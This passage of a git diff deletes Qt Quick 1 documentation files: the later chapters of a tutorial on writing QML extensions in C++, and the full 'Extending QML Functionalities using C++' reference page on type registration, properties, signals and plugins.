-chart and then emits a "chartCleared" signal. Our \c app.qml would be able -to call \c clearChart() and receive \c chartCleared() signals like this: - -\snippet declarative/tutorials/extending/chapter2-methods/app.qml 0 - -\image extending-tutorial-chapter2.png - -To do this, we add a \c clearChart() method and a \c chartCleared() signal -to our C++ class: - -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 3 - -The use of Q_INVOKABLE makes the \c clearChart() method available to the -Qt Meta-Object system, and in turn, to QML. Note that it could have -been declared as as a Qt slot instead of using Q_INVOKABLE, as -slots are also callable from QML. Both of these approaches are valid. - -The \c clearChart() method simply changes the color to Qt::transparent, -repaints the chart, then emits the \c chartCleared() signal: - -\snippet declarative/tutorials/extending/chapter2-methods/piechart.cpp 0 - -Now when we run the application and click the window, the pie chart -disappears, and the application outputs: - -\code - The chart has been cleared -\endcode - -Try out the example yourself with the updated code in Qt's \c examples/tutorials/extending/chapter2-methods directory. - -*/ - -/*! -\title Chapter 3: Adding Property Bindings - -\example declarative/tutorials/extending/chapter3-bindings - -Property bindings is a powerful feature of QML that allows values of different -elements to be synchronized automatically. It uses signals to notify and update -other elements' values when property values are changed. - -Let's enable property bindings for the \c color property. That means -if we have code like this: - -\snippet declarative/tutorials/extending/chapter3-bindings/app.qml 0 - -\image extending-tutorial-chapter3.png - -The "color: chartA.color" statement binds the \c color value of -\c chartB to the \c color of \c chartA. -Whenever \c chartA's \c color value changes, \c chartB's \c color value -updates to the same value. When the window is clicked, the \c onClicked -handler in the MouseArea changes the color of \c chartA, thereby changing -both charts to the color blue. - -It's easy to enable property binding for the \c color property. -We add a \l{Qt's Property System}{NOTIFY} feature to its Q_PROPERTY() declaration to indicate that a "colorChanged" signal -is emitted whenever the value changes. - -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 3 - -Then, we emit this signal in \c setPieSlice(): - -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.cpp 0 - -It's important for \c setColor() to check that the color value has actually changed -before emitting \c colorChanged(). This ensures the signal is not emitted unnecessarily and -also prevents loops when other elements respond to the value change. - -The use of bindings is essential to QML. You should always add NOTIFY -signals for properties if they are able to be implemented, so that your -properties can be used in bindings. Properties that cannot be bound cannot be -automatically updated and cannot be used as flexibly in QML. Also, since -bindings are invoked so often and relied upon in QML usage, users of your -custom QML types may see unexpected behavior if bindings are not implemented. - -*/ - -/*! -\title Chapter 4: Using Custom Property Types - -\example declarative/tutorials/extending/chapter4-customPropertyTypes - -The \c PieChart type currently has a string-type property and a color-type property. -It could have many other types of properties. For example, it could have an -int-type property to store an identifier for each chart: - -\code - // C++ - class PieChart : public QDeclarativeItem - { - Q_PROPERTY(int chartId READ chartId WRITE setChartId NOTIFY chartIdChanged) - ... - - public: - void setChartId(int chartId); - int chartId() const; - ... - - signals: - void chartIdChanged(); - }; - - // QML - PieChart { - ... - chartId: 100 - } -\endcode - -We can also use various other property types. QML has built-in support for the types -listed in the \l{QML Basic Types} documentation, which includes the following: - -\list -\o bool, unsigned int, int, float, double, qreal -\o QString, QUrl, QColor -\o QDate, QTime, QDateTime -\o QPoint, QPointF, QSize, QSizeF, QRect, QRectF -\o QVariant -\endlist - -If we want to create a property whose type is not supported by QML by default, -we need to register the type with QML. - -For example, let's replace the use of the \c property with a type called -"PieSlice" that has a \c color property. Instead of assigning a color, -we assign an \c PieSlice value which itself contains a \c color: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml 0 - -Like \c PieChart, this new \c PieSlice type inherits from QDeclarativeItem and declares -its properties with Q_PROPERTY(): - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h 0 - -To use it in \c PieChart, we modify the \c color property declaration -and associated method signatures: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 3 - -There is one thing to be aware of when implementing \c setPieSlice(). The \c PieSlice -is a visual item, so it must be set as a child of the \c PieChart using -QDeclarativeItem::setParentItem() so that the \c PieChart knows to paint this child -item when its contents are drawn: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp 0 - - -Like the \c PieChart type, the \c PieSlice type has to be registered -using qmlRegisterType() to be used from QML. As with \c PieChart, we'll add the -type to the "Charts" module, version 1.0: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 0 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 1 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 2 - -Try it out with the code in Qt's \c examples/tutorials/extending/chapter4-customPropertyTypes directory. - -*/ - - -/*! -\title Chapter 5: Using List Property Types - -\example declarative/tutorials/extending/chapter5-listproperties - -Right now, a \c PieChart can only have one \c PieSlice. Ideally a chart would -have multiple slices, with different colors and sizes. To do this, we could -have a \c slices property that accepts a list of \c PieSlice items: - -\snippet declarative/tutorials/extending/chapter5-listproperties/app.qml 0 - -\image extending-tutorial-chapter5.png - -To do this, we replace the \c pieSlice property in \c PieChart with a \c slices property, -declared as a QDeclarativeListProperty type. The QDeclarativeListProperty class enables the -creation of list properties in QML extensions. We replace the \c pieSlice() -function with a \c slices() function that returns a list of slices, and add -an internal \c append_slice() function (discussed below). We also use a QList to -store the internal list of slices as \c m_slices: - -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 2 - -Although the \c slices property does not have an associated \c WRITE function, -it is still modifiable because of the way QDeclarativeListProperty works. -In the \c PieChart implementation, we implement \c PieChart::slices() to -return a QDeclarativeListProperty value and indicate that the internal -\c PieChart::append_slice() function is to be called whenever a request is made from QML -to add items to the list: - -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.cpp 0 - -The \c append_slice() function simply sets the parent item as before, -and adds the new item to the \c m_slices list. As you can see, the append function for a -QDeclarativeListProperty is called with two arguments: the list property, and -the item that is to be appended. - -The \c PieSlice class has also been modified to include \c fromAngle and \c angleSpan -properties and to draw the slice according to these values. This is a straightforward -modification if you have read the previous pages in this tutorial, so the code is not shown here. - -The complete code can be seen in the updated \c examples/tutorials/extending/chapter5-listproperties directory. - -*/ - - -/*! -\title Chapter 6: Writing an Extension Plugin - -\example declarative/tutorials/extending/chapter6-plugins - -Currently the \c PieChart and \c PieSlice types are used by \c app.qml, -which is displayed using a QDeclarativeView in a C++ application. An alternative -way to use our QML extension is to create a plugin library to make it available -to the QML engine. This allows \c app.qml to be loaded with the \l {QML Viewer} -(or some other QML \l{Qt Declarative UI Runtime}{runtime} application) instead of writing a \c main.cpp file and -loading our own C++ application. - -To create a plugin library, we need: - -\list -\o A plugin class that registers our QML types -\o A project file that describes the plugin -\o A \l{Writing a qmldir file}{qmldir} file that tells the QML engine to load the plugin -\endlist - -First, we create a plugin class named \c ChartsPlugin. It subclasses QDeclarativeExtensionPlugin -and registers our QML types in the inherited \l{QDeclarativeExtensionPlugin::}{registerTypes()} method. It also calls -Q_EXPORT_PLUGIN2 for Qt's \l{How to Create Qt Plugins}{plugin system}. - -Here is the \c ChartsPlugin definition in \c chartsplugin.h: - -\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.h 0 - -And its implementation in \c chartsplugin.cpp: - -\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp 0 - -Then, we write a \c .pro project file that defines the project as a plugin library -and specifies with DESTDIR that library files should be built into a "lib" subdirectory: - -\quotefile declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro - -Finally, we add a \l{Writing a qmldir file}{qmldir} file that is automatically parsed by the QML engine. -In this file, we specify that a plugin named "chapter6-plugin" (the name -of the example project) can be found in the "lib" subdirectory: - -\quotefile declarative/tutorials/extending/chapter6-plugins/qmldir - -Now we have a plugin, and instead of having a main.cpp and an executable, we can build -the project and then load the QML file in the \l {QML Viewer}: - -\code - qmlviewer app.qml -\endcode - -(On Mac OS X, you can launch the "QMLViewer" application instead.) - -Notice the "import Charts 1.0" statement has disappeared from \c app.qml. This is -because the \c qmldir file is in the same directory as \c app.qml: this is equivalent to -having PieChart.qml and PieSlice.qml files inside the project directory, which could both -be used by \c app.qml without import statements. -*/ - - -/*! -\page qml-extending-tutorial7.html -\inqmlmodule QtQuick 1 -\title Chapter 7: In Summary - -In this tutorial, we've shown the basic steps for creating a QML extension: - -\list -\o Define new QML types by subclassing QObject and registering them with qmlRegisterType() -\o Add callable methods using Q_INVOKABLE or Qt slots, and connect to Qt signals with an \c onSignal syntax -\o Add property bindings by defining \l{Qt's Property System}{NOTIFY} signals -\o Define custom property types if the built-in types are not sufficient -\o Define list property types using QDeclarativeListProperty -\o Create a plugin library by defining a Qt plugin and writing a \c qmldir file -\endlist - - -The \l {Extending QML Functionalities using C++} reference documentation shows -other useful features that can be added to QML extensions. For example, we -could use \l{Default Property}{default properties} to allow -slices to be added without using the \c slices property: - -\code - PieChart { - PieSlice { ... } - PieSlice { ... } - PieSlice { ... } - } -\endcode - -Or randomly add and remove slices from time to time using \l{Property Value Sources}{property value sources}: - -\code - PieChart { - PieSliceRandomizer on slices {} - } -\endcode - - -See the \l{Extending QML Functionalities using C++} reference documentation -for more information. - -*/ - diff --git a/doc/src/qtquick1/extending.qdoc b/doc/src/qtquick1/extending.qdoc deleted file mode 100644 index 35a57ef14c..0000000000 --- a/doc/src/qtquick1/extending.qdoc +++ /dev/null @@ -1,709 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-extending.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {Presenting Data with Views} -\nextpage {Using QML Bindings in C++ Applications} -\title Extending QML Functionalities using C++ - -The QML syntax declaratively describes how to construct an in-memory object -tree. In Qt, QML is mainly used to describe a visual scene graph, but it is -not conceptually limited to this: the QML format is an abstract description of -any object tree. All the QML element types included in Qt are implemented using -the C++ extension mechanisms describe on this page. Programmers can use these -APIs to add new types that interact with the existing Qt types, or to repurpose -QML for their own independent use. - -\tableofcontents - -\section1 Adding Types -\target adding-types - -\snippet examples/declarative/cppextensions/referenceexamples/adding/example.qml 0 - -The QML snippet shown above instantiates one \c Person instance and sets -the \c name and \c shoeSize properties on it. Everything in QML ultimately comes down -to either instantiating an object instance, or assigning a property a value. - -QML relies heavily on Qt's meta object system and can only instantiate classes -that derive from QObject. For visual element types, this will usually mean a subclass -of QDeclarativeItem; for models used with the view elements, a subclass of QAbstractItemModel; -and for arbitrary objects with properties, a direct subclass of QObject. - -The QML engine has no intrinsic knowledge of any class types. Instead the -programmer must register the C++ types with their corresponding QML names. - -Custom C++ types are registered using a template function: - -\quotation - -\code -template -int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) -\endcode - -Calling qmlRegisterType() registers the C++ type \a T with the QML -system, and makes it available in QML under the name \a qmlName in -library \a uri version \a versionMajor.versionMinor. The \a qmlName -can be the same as the C++ type name. - -Type \a T must be a concrete type that inherits QObject and has a default -constructor. - -\endquotation - -#include to use qmlRegisterType(). - -Types can be registered by libraries, application code, or by plugins -(see QDeclarativeExtensionPlugin). - -Once registered, all \l {Qt's Property System}{properties} of the -supported types are available in QML. QML has intrinsic support for -properties of the types listed in the \l{QML Basic Types} -document, which includes the following: - -\list -\o bool, unsigned int, int, float, double, qreal -\o QString, QUrl, QColor -\o QDate, QTime, QDateTime -\o QPoint, QPointF, QSize, QSizeF, QRect, QRectF -\o QVariant -\endlist - -When a property of a supported type is added to a C++ class, in a QML -element based on the C++ class, a \e{value-changed} signal handler -will be available. See \l{Signal Support} below. - -QML is typesafe. Attempting to assign an invalid value to a property -will generate an error. For example, assuming the \e{name} property -of the \c Person element had a type of QString, this would cause an -error: - -\code -Person { - // Will NOT work - name: 12 -} -\endcode - -\l {Extending QML - Adding Types Example} shows the complete code used to create -the \c Person type. - -\section1 QML Type Versioning - -In C++ adding a new method or property cannot break old applications. -In QML, however, new methods and properties can change what a name previously -resolved to to within a scope chain. - -For example, consider these two QML files - -\code -// main.qml -import QtQuick 1.0 -Item { - id: root - MyComponent {} -} -\endcode - -\code -// MyComponent.qml -import MyModule 1.0 -CppItem { - value: root.x -} -\endcode - -where CppItem maps to the C++ class QCppItem. - -If the author of QCppItem adds a "root" property to QCppItem in a new version of the module, -it will break the above program as \c root.x now resolves to a different value. -The solution is to allow the author of QCppItem to state that the new \c root property is -only available from a particular version of QCppItem onwards. This permits new properties -and features to be added to existing elements without breaking existing programs. - -QML enables this by allowing the properties, methods and signals of a class to be tagged with -a particular \e revision, so that they are only accessible if the relevant module version -is imported. In this case, the author can tag the \c root property as being added in -\e {revision 1} of the class, and register that revision in version 1.1 of the module. - -The REVISION tag is used to mark the \c root property as added in revision 1 of the class. -Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a -revision using the \c Q_REVISION(x) macro: - -\code -class CppItem : public QObject -{ - Q_OBJECT - Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1) - -signals: - Q_REVISION(1) void rootChanged(); -}; -\endcode - -To register the new class revision to a particular version the following function is used: - -\code -template -int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) -\endcode - -To register \c CppItem version 1 for \c {MyModule 1.1}: - -\code -qmlRegisterType("MyModule", 1, 1, "CppItem") -\endcode - -\c root is only available when MyModule 1.1 is imported. - - -\section1 Object and List Property Types - -\snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0 - -The QML snippet shown above assigns a \c Person object to the \c BirthdayParty's -\c host property, and assigns three \c Person objects to the guests property. - -QML can set properties of types that are more complex than basic intrinsics like -integers and strings. Properties can also be object pointers, Qt interface -pointers, lists of object pointers, and lists of Qt interface pointers. As QML -is typesafe it ensures that only valid types are assigned to these properties, -just like it does for primitive types. - -Properties that are pointers to objects or Qt interfaces are declared with the -Q_PROPERTY() macro, just like other properties. The \c host property -declaration looks like this: - -\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1 - -As long as the property type, in this case \c Person, is registered with QML the -property can be assigned. - -QML also supports assigning Qt interfaces. To assign to a property whose type -is a Qt interface pointer, the interface must also be registered with QML. As -they cannot be instantiated directly, registering a Qt interface is different -from registering a new QML type. The following function is used instead: - -\quotation -\code -template -int qmlRegisterInterface(const char *typeName) -\endcode - -This registers the C++ interface \a T with the QML system as \a typeName. - -Following registration, QML can coerce objects that implement this interface -for assignment to appropriately typed properties. -\endquotation - -The \c guests property is a list of \c Person objects. Properties that are lists -of objects or Qt interfaces are also declared with the Q_PROPERTY() macro, just -like other properties. List properties must have the type \c {QDeclarativeListProperty}. -As with object properties, the type \a T must be registered with QML. - -The \c guest property declaration looks like this: - -\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 2 - -\l {Extending QML - Object and List Property Types Example} shows the complete -code used to create the \c BirthdayParty type. - -\section1 Inheritance and Coercion - -\snippet examples/declarative/cppextensions/referenceexamples/coercion/example.qml 0 - -The QML snippet shown above assigns a \c Boy object to the \c BirthdayParty's -\c host property, and assigns three other objects to the \c guests property. - -QML supports C++ inheritance hierarchies and can freely coerce between known, -valid object types. This enables the creation of common base classes that allow -the assignment of specialized classes to object or list properties. In the -snippet shown, both the \c host and the \c guests properties retain the \c Person -type used in the previous section, but the assignment is valid as both the \c Boy -and \c Girl objects inherit from \c Person. - -To assign to a property, the property's type must have been registered with QML. -Both the qmlRegisterType() and qmlRegisterInterface() template functions already -shown can be used to register a type with QML. Additionally, if a type that acts purely -as a base class that cannot be instantiated from QML needs to be -registered, the following function can be used: - -\quotation -\code - template - int qmlRegisterType() -\endcode - -This registers the C++ type \a T with the QML system. The parameterless call to the template -function qmlRegisterType() does not define a mapping between the -C++ class and a QML element name, so the type is not instantiable from QML, but -it is available for type coercion. - -Type \a T must inherit QObject, but there are no restrictions on whether it is -concrete or the signature of its constructor. -\endquotation - -QML will automatically coerce C++ types when assigning to either an object -property, or to a list property. Only if coercion fails does an assignment -error occur. - -\l {Extending QML - Inheritance and Coercion Example} shows the complete -code used to create the \c Boy and \c Girl types. - -\section1 Default Property - -\snippet examples/declarative/cppextensions/referenceexamples/default/example.qml 0 - -The QML snippet shown above assigns a collection of objects to the -\c BirthdayParty's default property. - -The \e {default property} is a syntactic convenience that allows a type designer to -specify a single property as the type's default. The default property is -assigned to whenever no explicit property is specified. As a convenience, it is -behaviorally identical to assigning to the default property explicitly by name. - -From C++, type designers mark the default property using a Q_CLASSINFO() -annotation: - -\quotation -\code -Q_CLASSINFO("DefaultProperty", "property") -\endcode - -This marks \a property as the class's default property. \a property must be either -an object property, or a list property. - -A default property is optional. A derived class inherits its base class's -default property, but may override it in its own declaration. \a property can -refer to a property declared in the class itself, or a property inherited from a -base class. -\endquotation - -\l {Extending QML - Default Property Example} shows the complete code used to -specify a default property. - -\section1 Grouped Properties - -\snippet examples/declarative/cppextensions/referenceexamples/grouped/example.qml 1 - -The QML snippet shown above assigns a number of properties to the \c Boy object, -including four properties using the grouped property syntax. - -Grouped properties collect similar properties together into a single named -block. Grouped properties can be used to present a nicer API to developers, and -may also simplify the implementation of common property collections across -different types through implementation reuse. - -A grouped property block is implemented as a read-only object property. The -\c shoe property shown is declared like this: - -\snippet examples/declarative/cppextensions/referenceexamples/grouped/person.h 1 - -The \c ShoeDescription type declares the properties available to the grouped -property block - in this case the \c size, \c color, \c brand and \c price properties. - -Grouped property blocks may declared and accessed be recusively. - -\l {Extending QML - Grouped Properties Example} shows the complete code used to -implement the \c shoe property grouping. - -\section1 Attached Properties - -\snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml 1 - -The QML snippet shown above assigns a date to the \c rsvp property using the attached -property syntax. - -Attached properties allow unrelated types to annotate other types with some -additional properties, generally for their own use. Attached properties are -identified through the use of the attacher type name, in the case shown -\c BirthdayParty, as a prefix to the property name. - -In the example shown, \c BirthdayParty is called the attaching type, and the -\c Boy instance the attachee object instance. - -For the attaching type, an attached property block is implemented as a new -QObject derived type, called the attachment object. The properties on the -attachment object are those that become available for use as the attached -property block. - -Any QML type can become an attaching type by declaring the -\c qmlAttachedProperties() public function and declaring that the class has -QML_HAS_ATTACHED_PROPERTIES: - -\quotation -\code -class MyType : public QObject { - Q_OBJECT -public: - - ... - - static AttachedPropertiesType *qmlAttachedProperties(QObject *object); -}; - -QML_DECLARE_TYPEINFO(MyType, QML_HAS_ATTACHED_PROPERTIES) -\endcode -This returns an attachment object, of type \a AttachedPropertiesType, for the -attachee \a object instance. It is customary, though not strictly required, for -the attachment object to be parented to \a object to prevent memory leaks. - -\a AttachedPropertiesType must be a QObject derived type. The properties on -this type will be accessible through the attached properties syntax. - -This method will be called at most once for each attachee object instance. The -QML engine will cache the returned instance pointer for subsequent attached -property accesses. Consequently the attachment object may not be deleted until -\a object is destroyed. -\endquotation - -Conceptually, attached properties are a \e type exporting a set of additional -properties that can be set on \e any other object instance. Attached properties -cannot be limited to only attaching to a sub-set of object instances, although -their effect may be so limited. - -For example, a common usage scenario is for a type to enhance the properties -available to its children in order to gather instance specific data. Here we -add a \c rsvp field to all the guests coming to a birthday party: -\code -BirthdayParty { - Boy { BirthdayParty.rsvp: "2009-06-01" } -} -\endcode -However, as a type cannot limit the instances to which the attachment object -must attach, the following is also allowed, even though adding a birthday party -rsvp in this context will have no effect. -\code -GraduationParty { - Boy { BirthdayParty.rsvp: "2009-06-01" } -} -\endcode - -From C++, including the attaching type implementation, the attachment object for -an instance can be accessed using the following method: - -\quotation -\code -template -QObject *qmlAttachedPropertiesObject(QObject *attachee, bool create = true); -\endcode -This returns the attachment object attached to \a attachee by the attaching type -\a T. If type \a T is not a valid attaching type, this method always returns 0. - -If \a create is true, a valid attachment object will always be returned, -creating it if it does not already exist. If \a create is false, the attachment -object will only be returned if it has previously been created. -\endquotation - -\l {Extending QML - Attached Properties Example} shows the complete code used to -implement the rsvp attached property. - -\section1 Memory Management and QVariant types - -It is an element's responsibility to ensure that it does not access or return -pointers to invalid objects. QML makes the following guarentees: - -\list -\o An object assigned to a QObject (or QObject-derived) pointer property will be -valid at the time of assignment. - -Following assignment, it is the responsibility of the class to subsequently guard -this pointer, either through a class specific method or the generic QPointer class. - -\o An object assigned to a QVariant will be valid at the time of assignment. - -When assigning an object to a QVariant property, QML will always use a QMetaType::QObjectStar -typed QVariant. It is the responsibility of the class to guard the pointer. A -general rule when writing a class that uses QVariant properties is to check the -type of the QVariant when it is set and if the type is not handled by your class, -reset it to an invalid variant. - -\o An object assigned to a QObject (or QObject-derived) list property will be -valid at the time of assignment. - -Following assignment, it is the responsibility of the class to subsequently guard -this pointer, either through a class specific method or the generic QPointer class. -\endlist - -Elements should assume that any QML assigned object can be deleted at any time, and -respond accordingly. If documented as such an element need not continue to work in -this situation, but it must not crash. - -\section1 Signal Support - -\snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 0 -\snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 1 - -The QML snippet shown above associates the evaluation of a JavaScript expression -with the emission of a Qt signal. - -All Qt signals on a registered class become available as special "signal -properties" within QML to which the user can assign a single JavaScript -expression. The signal property's name is a transformed version of the Qt -signal name: "on" is prepended, and the first letter of the signal name upper -cased. For example, the signal used in the example above has the following -C++ signature: - -\snippet examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h 0 - -In classes with multiple signals with the same name, only the final signal -is accessible as a signal property. Note that signals with the same name -but different parameters cannot be distinguished. - -Signal parameters become accessible by name to the assigned script. An -unnamed parameter cannot be accessed, so care should be taken to name all the -signal parameters in the C++ class declaration. The intrinsic types -listed in \l{Adding Types}, as well registered object types are permitted as -signal parameter types. Using other types is not an error, but the parameter -value will not be accessible from script. - -\l {Extending QML - Signal Support Example} shows the complete code used to -implement the onPartyStarted signal property. - -If you want to use signals from items not created in QML, you can access their -signals with the \l {Connections} element. - -Additionally, if a property is added to a C++ class, all QML elements -based on that C++ class will have a \e{value-changed} signal handler -for that property. The name of the signal handler is -\e{onChanged}, with the first letter of the property -name being upper case. - -\note The QML signal handler will always be named -onChanged, regardless of the name used for the NOTIFY -signal in C++. We recommend using Changed() for the -NOTIFY signal in C++. - -See also \l {Importing Reusable Components} - -\section1 Methods - -Slots and methods marked Q_INVOKABLE may be called as functions in QML. - -\snippet examples/declarative/cppextensions/referenceexamples/methods/example.qml 0 - -In this example an invitation is added via an \c {invite()} invokable method of -the BirthdayParty element. This function is available in QML by marking the \c {invite()} -method with Q_INVOKABLE in the BirthdayParty class: - -\snippet examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h 0 - -\l {Extending QML - Methods Example} shows the complete code used to -implement the invite() method. - -The \c {invite()} method is similarly available if it is declared as a slot. - -\section1 Property Value Sources - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 0 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 1 - -The QML snippet shown above applies a property value source to the \c announcement property. -A property value source generates a value for a property that changes over time. - -Property value sources are most commonly used to do animation. Rather than -constructing an animation object and manually setting the animation's "target" -property, a property value source can be assigned directly to a property of any -type and automatically set up this association. - -The example shown here is rather contrived: the \c announcement property of the -\c BirthdayParty object is a string that is printed every time it is assigned and -the \c HappyBirthdaySong value source generates the lyrics of the song -"Happy Birthday". - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h 0 - -Normally, assigning an object to a string property would not be allowed. In -the case of a property value source, rather than assigning the object instance -itself, the QML engine sets up an association between the value source and -the property. - -Property value sources are special types that derive from the -QDeclarativePropertyValueSource base class. This base class contains a single method, -QDeclarativePropertyValueSource::setTarget(), that the QML engine invokes when -associating the property value source with a property. The relevant part of -the \c HappyBirthdaySong type declaration looks like this: - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 0 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 1 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 2 - -In all other respects, property value sources are regular QML types. They must -be registered with the QML engine using the same macros as other types, and can -contain properties, signals and methods just like other types. - -When a property value source object is assigned to a property, QML first tries -to assign it normally, as though it were a regular QML type. Only if this -assignment fails does the engine call the \l {QDeclarativePropertyValueSource::}{setTarget()} method. This allows -the type to also be used in contexts other than just as a value source. - -\l {Extending QML - Property Value Source Example} shows the complete code used -to implement the \c HappyBirthdaySong property value source. - -\section1 Property Binding - -\snippet examples/declarative/cppextensions/referenceexamples/binding/example.qml 0 -\snippet examples/declarative/cppextensions/referenceexamples/binding/example.qml 1 - -The QML snippet shown above uses a property binding to ensure the -\c HappyBirthdaySong's \c name property remains up to date with the \c host. - -Property binding is a core feature of QML. In addition to assigning literal -values, property bindings allow the developer to assign an arbitrarily complex -JavaScript expression that may include dependencies on other property values. -Whenever the expression's result changes - through a change in one of its -constituent values - the expression is automatically reevaluated and -the new result assigned to the property. - -All properties on custom types automatically support property binding. However, -for binding to work correctly, QML must be able to reliably determine when a -property has changed so that it knows to reevaluate any bindings that depend on -the property's value. QML relies on the presence of a -\l {Qt's Property System}{NOTIFY signal} for this determination. - -Here is the \c host property declaration: - -\snippet examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h 0 - -The NOTIFY attribute is followed by a signal name. It is the responsibility of -the class implementer to ensure that whenever the property's value changes, the -NOTIFY signal is emitted. The signature of the NOTIFY signal is not important to QML. - -To prevent loops or excessive evaluation, developers should ensure that the -signal is only emitted whenever the property's value is actually changed. If -a property, or group of properties, is infrequently used it is permitted to use -the same NOTIFY signal for several properties. This should be done with care to -ensure that performance doesn't suffer. - -To keep QML reliable, if a property does not have a NOTIFY signal, it cannot be -used in a binding expression. However, the property can still be assigned -a binding as QML does not need to monitor the property for change in that -scenario. - -Consider a custom type, \c TestElement, that has two properties, "a" and "b". -Property "a" does not have a NOTIFY signal, and property "b" does have a NOTIFY -signal. - -\code -TestElement { - // This is OK - a: b -} -TestElement { - // Will NOT work - b: a -} -\endcode - -The presence of a NOTIFY signal does incur a small overhead. There are cases -where a property's value is set at object construction time, and does not -subsequently change. The most common case of this is when a type uses -\l {Grouped Properties}, and the grouped property object is allocated once, and -only freed when the object is deleted. In these cases, the CONSTANT attribute -may be added to the property declaration instead of a NOTIFY signal. - -\snippet examples/declarative/cppextensions/referenceexamples/binding/person.h 0 - -Extreme care must be taken here or applications using your type may misbehave. -The CONSTANT attribute should only be used for properties whose value is set, -and finalized, only in the class constructor. All other properties that want -to be used in bindings should have a NOTIFY signal instead. - -\l {Extending QML - Binding Example} shows the BirthdayParty example updated to -include NOTIFY signals for use in binding. - -\section1 Extension Objects - -\snippet examples/declarative/cppextensions/referenceexamples/extended/example.qml 0 - -The QML snippet shown above adds a new property to an existing C++ type without -modifying its source code. - -When integrating existing classes and technology into QML, their APIs will often -need to be tweaked to fit better into the declarative environment. Although -the best results are usually obtained by modifying the original classes -directly, if this is either not possible or is complicated by some other -concerns, extension objects allow limited extension possibilities without -direct modifications. - -Extension objects are used to add additional properties to an existing type. -Extension objects can only add properties, not signals or methods. An extended -type definition allows the programmer to supply an additional type - known as the -extension type - when registering the target class whose properties are -transparently merged with the original target class when used from within QML. - -An extension class is a regular QObject, with a constructor that takes a QObject -pointer. When needed (extension class creation is delayed until the first extended -property is accessed) the extension class is created and the target object is -passed in as the parent. When an extended property on the original is accessed, -the appropriate property on the extension object is used instead. - -When an extended type is installed, one of the -\code -template -int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - -template -int qmlRegisterExtendedType() -\endcode -functions should be used instead of the regular \c qmlRegisterType() variations. -The arguments are identical to the corresponding non-extension registration functions, -except for the ExtendedT parameter which is the type -of the extension object. - -\section1 Optimization - -Often to develop high performance elements it is helpful to know more about the -status of the QML engine. For example, it might be beneficial to delay -initializing some costly data structures until after all the properties have been -set. - -The QML engine defines an interface class called QDeclarativeParserStatus, which contains a -number of virtual methods that are invoked at various stages during component -instantiation. To receive these notifications, an element implementation inherits -QDeclarativeParserStatus and notifies the Qt meta system using the Q_INTERFACES() macro. - -For example, - -\code -class Example : public QObject, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_INTERFACES(QDeclarativeParserStatus) -public: - virtual void componentComplete() - { - qDebug() << "Woohoo! Now to do my costly initialization"; - } -}; -\endcode -*/ diff --git a/doc/src/qtquick1/focus.qdoc b/doc/src/qtquick1/focus.qdoc deleted file mode 100644 index 0f4c301fbd..0000000000 --- a/doc/src/qtquick1/focus.qdoc +++ /dev/null @@ -1,211 +0,0 @@ -/**************************************************************************** -** -** 